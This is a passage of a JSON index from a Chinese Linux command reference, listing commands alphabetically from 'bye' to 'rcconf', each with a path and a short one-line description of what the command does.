"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian 